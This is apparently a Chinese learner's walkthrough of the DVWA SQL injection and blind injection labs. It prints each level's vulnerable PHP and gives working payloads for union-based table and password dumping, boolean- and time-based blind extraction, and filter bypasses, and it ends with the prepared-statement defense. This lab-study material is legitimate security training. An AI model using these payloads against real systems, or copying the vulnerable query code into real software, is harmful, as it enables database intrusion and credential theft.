SQL Injection
SQL语句基本知识
- 由于常见的注入类型为数字型和字符型(根据查询的字段值有无引号决定的)
-
可通过
a' or 1 = 1#或者a or 1 = 1#(a表示正确输入的值,#为注释)
来判断注入类型。- 若为数字型sql注入,前者报错或查询不到数据、后者可能查询到所有结果
- 若为字符型sql注入,前者可能查询到所有结果、后者报错或查询不到数据
- 将两句payload带入构造的sql查询语句(以本实验为例,a用1代替)
-
数字型:
select first_name,last_name from users where user_id = 1' or 1 = 1# #由于是数字型。'user_id'的值没有用''包围,所以"1'"不能识别为int型 select first_name,last_name from users where user_id = 1 or 1 = 1# #where语句恒为真(or后面的子句恒为真),所以查询的结果为所有数据
-
字符型:
select first_name,last_name from users where user_id = '1' or 1 = 1#' #由于是字符型。'user_id'的值用''包围,且在sql语句中'#'为注释功能。故where子句中条件恒为真 select first_name,last_name from users where user_id = '1 or 1 = 1#' #由于字符型查询右引号缺失,导致报错或查询不到数据
Low
代码分析
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
代码解析&自我理解:
-
isset()
函数在php中用来检测变量是否设置,该函数返回的是布尔类型的值,即true/false
-
query
变量为直接构造的sql查询语句,没有对用户的输入进行任何的过滤,导致sql注入的存在。 -
result
通过mysqli_query()
函数获取数据库查询的结果集。die()
函数表示连接数据库失败退出当前脚本。$GLOBALS["___mysqli_ston"]
表示数据库的连接语句 -
mysqli_fetch_assoc($result)
从结果集中取出一行作为关联数组,即列名和值对应的键值对。- dvwa1.9中使用的是
mysql_numrows()
函数返回集行数给num
(只对select语句有效)
- dvwa1.9中使用的是
- 最后通过
while
判断若有查询结果且循环执行$row = mysqli_fetch_assoc( $result )
,将结果集中每行结果对应的字段值赋值给相应的字段,并遍历输出。
介绍下手工注入的思路
- 1.判断是否存在注入,注入的类型是字符型还是数字型(是否带有引号)
- 2.猜解sql查询语句的字段数
- 3.确定显示的字段顺序
- 4.获取当前数据库
- 5.获取数据库中的表
- 6.获取表中的字段名
- 7.下载数据
实际操作步骤
首先,我们正常输入User ID(1,2,3,4,5...)
可以看到输入为1的时候,有正常的输入。此时sql查询语句为:
select first_name,last_name from users where user_id = '1'
但是作为一名键盘DJ...平时的爱好就是唱、跳、rap、敲键盘。。。。
1.判断是否存在注入以及注入类型
输入1' or 1 = 1#
可以看到输入为1' or 1 = 1#
的时候,返回了多个查询结果。此时sql查询语句为:
select first_name,last_name from users where user_id = '1' or 1 = 1#'
#在select语句中,'#'注释掉后方单引号,所以where子句中"user_id = '1'"和"1 = 1"
#两个条件通过or使得where子句恒为真(相当于没有查询约束条件)
通过结果可以知道存在字符型注入
2.猜解sql查询语句中的字段数以及字段排序
输入:1' or 1 = 1 order by 1#
1' or 1 = 1 order by 2#
1' or 1 = 1 order by 3#
...
此时,sql查询语句为:
select first_name,last_name from users where user_id = '1' or 1 = 1 order by 1#'
select first_name,last_name from users where user_id = '1' or 1 = 1 order by 2#'
select first_name,last_name from users where user_id = '1' or 1 = 1 order by 3#'
#在sql语句中'order by'子句的作用是根据指定的字段将结果集进行排序
#'order by'后面的内容可以为字段名也可以为数字,为数字时表示默认的第几个字段
由于输入1' or 1 = 1 order by 3#
报错,说明select
的查询字段只有两个
输入:1' or 1 = 1 union select 1,2#
或者1' union select 1,2#
此时,sql查询语句为:
select first_name,last_name from users where user_id = '1' or 1 = 1 union select 1,2#'
select first_name,last_name from users where user_id = '1' union select 1,2#'
#union操作符用于合并两个或多个select语句的结果集
#union中select语句必须拥有相同数量的字段。字段也必须拥有相似的数据类型。
#同时,每条select语句中的字段顺序必须相同,这样就可以通过'union select 1,2',返回的结果1,2的显示顺序判断查询字段顺序
当然,也可以直接输入1' union select 1,2,...#
来构造sql语句:
select first_name,last_name from users where user_id = '1' union select 1,2,...#'
一次性猜解select
语句中的字段数以及字段排序
3.依次获取数据库、表、字段的名称
输入1' union select 1,database()#
对应的sql查询语句为:
select first_name,last_name from users where user_id = '1' union select 1,database()#'
#因为union中select的字段数和顺序都应相同,故需用select 1,database()中的'1'来补位,select database()就是查询当前数据库名
#此sql语句查询的结果为两行结果,第一行为union前的'正常'查询结果,第二行中'first_name'列对应的值是1
#'last_name'列对应的值是数据库名(database()的查询结果)
获得当前数据库的名字为'dvwa'
接下来就是获取数据库的表名以及字段名了,在操作之前先说下原理:
- 在Mysql中有一个名叫
information_schema
的数据库,里面存放着关于数据库的相关信息。在此数据库中有两个表:tables
(表中有两个字段table_name(表名)
、table_schema(数据库名)
)和columns
(表中也有两个字段column_name(字段名)
和table_name
)分别存放着Mysql中所有表名和字段名。 -
tables
和columns
表中还有其他字段,这里列举出两个字段一个作为查询字段(select
),一个作为约束字段(where
)。这样就可以查询到相应数据库中的表名,以及相应表中的字段名。
在输入框中构造sql查询语句,输入:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()#
对应的sql查询语句为:
select first_name,last_name from users where user_id = '1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()#'
#union select后面的'1'还是作为补位补齐union前后select语句的字段数
上述sql语句可简化为:
select group_concat(table_name) from information_schema.tables where table_schema = database()
#首先group_concat()函数将多个字符串连接成一个字符串,以达到union字段数对应。
#因为当前数据库为dvwa,所以用到information_schema.tables表示查询的表是information_schema数据库中的tables表
#database()表示获取当前数据库名(dvwa),也可直接写'dvwa'
得到结果:dvwa数据库中有两个表:guestbook和users
查询表中的字段(以users为例),输入:
1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'#('#可以不要)
对应sql语句:
select first_name,last_name from users where user_id = '1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'#'
简化sql查询语句:
select group_concat(column_name) from information_schema.columns where table_name = 'users'
#找到information_schema数据库中columns表中table_name='users'的所有字段。
可以看到users表中的字段分别为user_id、first_name、last_name、user、password、...
4.获取数据/下载数据(以users表中的user_id,first_name,last_name,password为例)
输入
1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users#
对应的sql查询语句为:
select first_name,last_name from users where user_id = '1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users#'
简化语句:
select group_concat(user_id,first_name,last_name),group_concat(password) from users#'
#group_concat()中的字段名可以根据自己想要查询的字段随意组合
至此得到了users表中所有用户的user_id,first_name,last_name,password的数据,也可以按照上述方法得到其他数据库中其他表中的其他字段信息
自我延展:
输入:1' union select 1,group_concat(table_schema) from information_schema.tables
简化后对应的sql语句为:select group_concat(table_schema) from information_schema.tables
#表示查询Mysql中所有数据库名
Medium
代码分析
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
相对于Low级别的代码:
- 添加
mysqli_real_escape_string()
函数对id中特殊字符进行转义,包括(\x00,\n,\r,\,','',\x1a
) -
mysqli_fetch_row()
函数返回SELECT COUNT(*) FROM users(查询users表中总行数)
?至今没搞懂这三行代码有啥用?
同时在Medium级别中前端添加下拉选择框限制用户,这时候就用到Burp Suite抓包工具修改上传数据
- 将网页代理以及burpsuite中proxy拦截设置为同一地址
- 将burpsuite中设置
intercept is on
在网页前端选择数据,点击Submit
- 得到抓包数据,将id的值改为sql注入常用payload:
1' or 1 = 1#
,点击Forward
- 可以看到网页报错,说明服务器端对特殊符号(
'
)进行了转义。那我们就试试数字型注入。重新抓包构造payload:1 or 1 = 1
,然后提交
- 可以看到查询成功且存在的sql注入类型是数字型
由于是数字型sql注入,故无需输入引号(特殊字符)。服务器端的mysql_real_escape_string()
函数就形同虚设了(故意的吧。。。)
接下来的操作步骤与Low级别一致,只是payload中无需加入'
和#
符号如果这里还是字符型注入的话,解决方法和思路如下:
判断其转义的内容,可以看到其在'
前加了/
可采用汉字双字节编码,其他绕过技巧:
总结SQL注入的绕过技巧
1.绕过空格:
1.使用()——在Mysql中,括号用来包围子查询,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格
select(column_name)from(table_name)where(column_name=value)
2.使用/**/——注释符
2.绕过引号:
使用16进制:
select column_name from information_schema.tables where table_name="users"
select column_name from information_schema.tables where table_name=0x7573657273
一般在where子句中使用到引号,users的十六进制的字符串是7573657273
3.绕过逗号:
一般在substr()函数,limit中使用from...for
select substr(database() from 1 for 1);
4.绕过比较符(<>):
使用greatest()、least():(前者返回最大值,后者返回最小值)
没绕过之前使用以下sql语句来判断database()第一个字母的ascii码值(二分法会用到比较符):
select * from users where id=1 and ascii(substr(database(),1,1))>64
不使用比较符:
select * from users where id=1 and greatest(ascii(substr(database(),1,1)),64)=64
...
High
代码分析
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
相对于Low级别的代码:
- 在High级别中
$query
查询语句添加了LIMIT 1
,希望能够控制只输出一个结果 - 然而
#
可以将$id
后面的代码(' LIMIT 1
)一并注释掉。剩下的操作就和Low级别的一致了 - 前端将输入和结果显示分为两个页面(
url
),可以防止常规扫描工具(如sqlmap
)的扫描检测??
象征性依次写一下payload:
1' or 1=1#
判断是否有注入及注入类型
1' union select 1,2,...#`或者`1' or 1 = 1 union select 1,2,...#
判断查询字段数及字段顺序
1' union select 1,group_concat(table_schema) from information_schema.tables
查询所有数据库名-
自创
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()#
查询当前数据库中所有表名。可以将
database()
改为其他数据库名(加引号),可查询其他数据库中的所有表名1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'#
查询相应表中的所有字段,可将
users
改为其他已获取到的表名1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users#
下载数据
user_id,first_name,last_name,password
都是users
表中的字段
Impossible
代码分析
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
- Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入
- 同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了"脱裤"
- Anti-CSRFtoken机制的加入了进一步提高了安全性
SQL injection(Blind)
SQL盲注与一般的注入区别在于一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注
注入思路以及过程:
因为盲注的返回结果有限(如是或不是),只有通过机械的询问遍历,最终获得想要的数据
过程与手工注入相似:判断注入存在及类型->猜解库名->猜解表名->猜解字段名->猜解数据(无法直接获取其他数据库名)
盲注分为基于布尔的盲注
、基于时间的盲注
以及基于报错的盲注
Low
代码分析
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
- 可以看到,与一般注入Low级别代码比较:利用
mysqli_num_rows()
函数将结果集行数量返回给num
- 若有查询结果(
num>0
)则返回结果ID存在,否则返回ID不存在
由于实验环境限制(可能是sql语句报错在网页中体现不出来,无法判断),故基于报错的盲注无法实施
基于布尔的盲注(用and构造其子句的真假来判断查询结果有无)
- 判断是否存在注入以及注入类型,注入payload及结果
- (payload中的数字依次遍历,以下仅展示正确的示例)
1——User ID exists in the database
1' and 1 = 1#——User ID exists in the database(说明存在字符型sql注入)
1' and 1 = 2#——User ID is MISSING from the database(表明sql注入为盲注)
1 and 1 = 1#——User ID exists in the database为什么结果显示存在?
说明存在字符型SQL盲注
-
猜解数据库名,注入payload及结果
- 猜解数据库名长度
1' and length(database())=1#——User ID is MISSING from the database
1' and length(database())=2#——User ID is MISSING from the database
1' and length(database())=3#——User ID is MISSING from the database
1' and length(database())=4#——User ID exists in the database
构造的sql查询语句为:
SELECT first_name,last_name FROM users WHERE user_id = '1' and length(database())=1#'
#and语句连接的length(database())=1如果为真,则返回and语句前的select查询结果
#如果为假,则返回结果为Empty
length()
函数作用是计算其参数(str类型
)的字节数。结果说明当前数据库名字符长度为4个字符
- 依次猜解数据库名的字节(字母
-
一般通过字母的ASCII码判断),注入payload及结果:
- 依次猜解数据库名的字节(字母
1' and ascii(substr(databse(),1,1))=100#——User ID exists in the database
=可改为>,<符号,利用二分法猜解
构造的sql查询语句为:
SELECT first_name,last_name FROM users WHERE user_id = '1' and ascii(substr(databse(),1,1))=100#'
#在这里只分析and条件后面的语句ascii(substr(databse(),1,1))=100,因为当其为真时会有查询结果,为假没有结果
#substr()函数截取字符串,第一个参数为被截取的字符串,第二个参数为起始字符,第三个参数为截取长度
#ascii()就是计算其参数的ascii码值通过二分法猜解数据库名的每个字母的ascii值
依次猜解就可以获得数据库名dvwa
-
猜解表名
- 猜解数据库中表的数量,注入payload及结果
1' and (select count(table_name) from information_schema.tables where table_schema = database()) = 2#——User ID exists in the database
或者
1' and (select count(table_name) from information_schema.tables where table_schema = 'dvwa') = 2#——User ID exists in the database
#说明dvwa数据库中有两个表
构造的sql查询语句为:
SELECT first_name,last_name FROM users WHERE user_id = '1' and (select count(table_name) from information_schema.tables where table_schema = 'dvwa') = 2#'
#其中(select count(table_name) from information_schema.tables where table_schema = 'dvwa') = 2为真输入结果
#COUNT(column_name) 函数返回指定列的值的数目
- 猜解表名字符数量,注入payload及结果:
1' and length((select table_name from information_schema.tables where table_schema = database() limit 0,1)) = 9#——User ID exists in the database
或者
1' and length(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1)) = 9#——User ID exists in the database
构造的sql查询语句为:
SELECT first_name,last_name FROM users WHERE user_id = '1' and length((select table_name from information_schema.tables where table_schema = database() limit 0,1)) = 9#'
或者
SELECT first_name,last_name FROM users WHERE user_id = '1' and length(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1)) = 9#'
#(select table_name from information_schema.tables where table_schema = database() limit 0,1)就是第一个表名,可以改变limit参数改变表名
#limit限制结果输出,第一个参数是起始行(0表示第一行,依次递增),第二个参数是数据数量(行数)
#substr在此处只有两个参数(没有限制截取长度),想必是将select语句结果转换成str类型的吧
此处select table_name from information_schema.tables where table_schema = database() limit 0,1
的结果要用()
才能将其转换成str
类型。length()、substr()
函数参数都是str
类型。
length(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1))
可以去掉substr()
这个没用的函数0.0
.多嵌套读写顺序从里往外
- 猜解表名具体字母,注入payload及结果:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 103#——User ID exists in the database
#说明第一个表名的第一个字符为小写字母g
构造的sql查询语句为:
SELECT first_name,last_name FROM users WHERE user_id = '1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 103#'
依旧采用二分法
猜解表名其中一个字母的ascii码值。改变limit
后的参数以及substr()
函数中的参数就能遍历每个表名中每个字母
猜解出来的第一个表名字母依次是:g,u,e,s,t,b,o,o,k
、第二个表名的字母依次是:u,s,e,r,s
-
猜解表中的字段名(以users表为例)
- 猜解字段数量,注入payload及结果:
1' and (select count(column_name) from information_schema.columns where table_name = 'users') = 8#——User ID exists in the database
#说明users表中总共有8个字段
构造的sql查询语句为:
SELECT first_name,last_name FROM users WHERE user_id = '1' and (select count(column_name) from information_schema.columns where table_name = 'users') = 8#'
#count(COLUMN_NAME)计数依次增加直到为真,由于字段数一般不是很多,所以就不采用二分法判断
- 猜解字段名字符数量,注入payload及结果:
1' and length((select column_name from information_schema.columns where table_name = 'users' limit 0,1)) = 7#——User ID exists in the database
1' and length((select column_name from information_schema.columns where table_name = 'users' limit 1,1)) = 10#——User ID exists in the database
1' and length((select column_name from information_schema.columns where table_name = 'users' limit 2,1)) = 9#——User ID exists in the database
...
或者
1' and length(substr((select culomn_name from information_schema.columns where table_name = 'users' limit 0,1),1)) = 7#——User ID exists in the database
...
#依次猜表中每个字段字符数量(第一个字段字符数为7(user_id),(第二个字段字符数为10(first_name),(第三个字段字符数为9(last_name))
构造的sql查询语句为:
SELECT first_name,last_name FROM users WHERE user_id = '1' and length((select column_name from information_schema.columns where table_name = 'users' limit 0,1)) = 7#'
- 猜解字段名具体字母,注入payload及结果:
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1,1)) = 117#——User ID exists in the database
...
构造的sql查询语句为:
SELECT first_name,last_name FROM users WHERE user_id = '1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1,1)) = 117#'
...
#第一个表名中第一个字母对应是u(u的ascii码值为117)
改变limit
后的参数以及substr()
函数的参数遍历就可得到users表中每个字段中的每个字母
至此得到当前数据库名为dvwa
,有guestbook和users
两个表。users表中有8个字段(分别有user_id,first_name,last_name,password...
等字段)
- 下载数据
基于布尔手工下载数据要下到明年......这里总结下手工下载部分想要的数据。比如我想知道first_name字段中有没有'admin'数据,若有,找到'admin'对应的last_name
- 判断
first_name
字段中有没有'admin'
1' and ascii(substr((select first_name from users limit 0,1),1,1)) = 97#——User ID exists in the database
1' and ascii(substr((select first_name from users limit 1,1),1,1)) = 97#——User ID is MISSING from the database
...
1' and ascii(substr((select first_name from users limit 0,1),2,1)) = 100#——User ID exists in the database
1' and ascii(substr((select first_name from users limit 0,1),2,1)) = 100#——User ID is MISSING from the database
...
...
#循环遍历'admin'的ascii码值和其他字段对应字母的ascii码匹配。上述结果说明'admin'存在first_name字段中,且默认为第一条数据
- 查找
first_name = 'admin'
对应的last_name
1' and ascii(substr((select last_name from users where first_name = 'admin'),1,1)) = 97#——User ID exists in the database
1' and ascii(substr((select last_name from users where first_name = 'admin'),2,1)) = 100#——User ID exists in the database
...
1' and ascii(substr((select last_name from users where first_name = 'admin'),6,1)) = 0#——User ID exists in the database
#说明last_name为'admin',第六个字母ascii码为0说明为null
在基于布尔的盲注过程中:猜解表(字段)数量、表(字段)字母数是为了给猜解ascii码环节中limit和substr()提供参数
可以省略猜解表(字段、数据库)字母数直接上ascii码——substr()参数
因为由0或1递增到上限时,ascii码为0(null)
不能省略猜解表(字段、数据库)数量——limit参数
,可能时因为获取不到结果直接报错了吧
基于时间的盲注(采用sleep()函数查看页面返回结果是否有明显的延迟)
- 判断是否存在注入以及注入类型,注入payloads及结果
- (payload中的数字依次遍历,以下仅展示正确的示例)
1' and sleep(5)#——有明显延迟/User ID is MISSING from the database
1 and sleep(5)#——没有延迟/User ID exists in the database
基于时间的盲注主要看有无延迟
,其他结果好像并不作为依据
说明存在字符型的基于时间的盲注
对应的sql语句:
SELECT first_name,last_name FROM users WHERE user_id = '1' and sleep(5)#'
SELECT first_name,last_name FROM users WHERE user_id = '1 and sleep(5)#'
由于步骤和基于布尔的盲注一致,下面直接上payloads:(页面发生延迟说明if条件句中条件正确)
1' and if(length(database())=4,sleep(5),1)#
1' and if(ascii(substr(database(),1,1))=100,sleep(5),1)#
1' and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1)#
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1)#
1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1)#
1' and if(ascii(substr((select last_name from users where first_name = 'admin'),1,1)) = 97,sleep(5),1)#
总结:
基于时间的盲注比基于布尔的盲注多了个if(),sleep(N),参数1
if()
函数中的条件如果正确就执行sleep()
函数,如果错误就返回1
Medium、High、Impossible级别的代码限制条件和一般注入一致,注入思路过程和盲注中Low级别思路过程一致
基于报错的盲注....
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。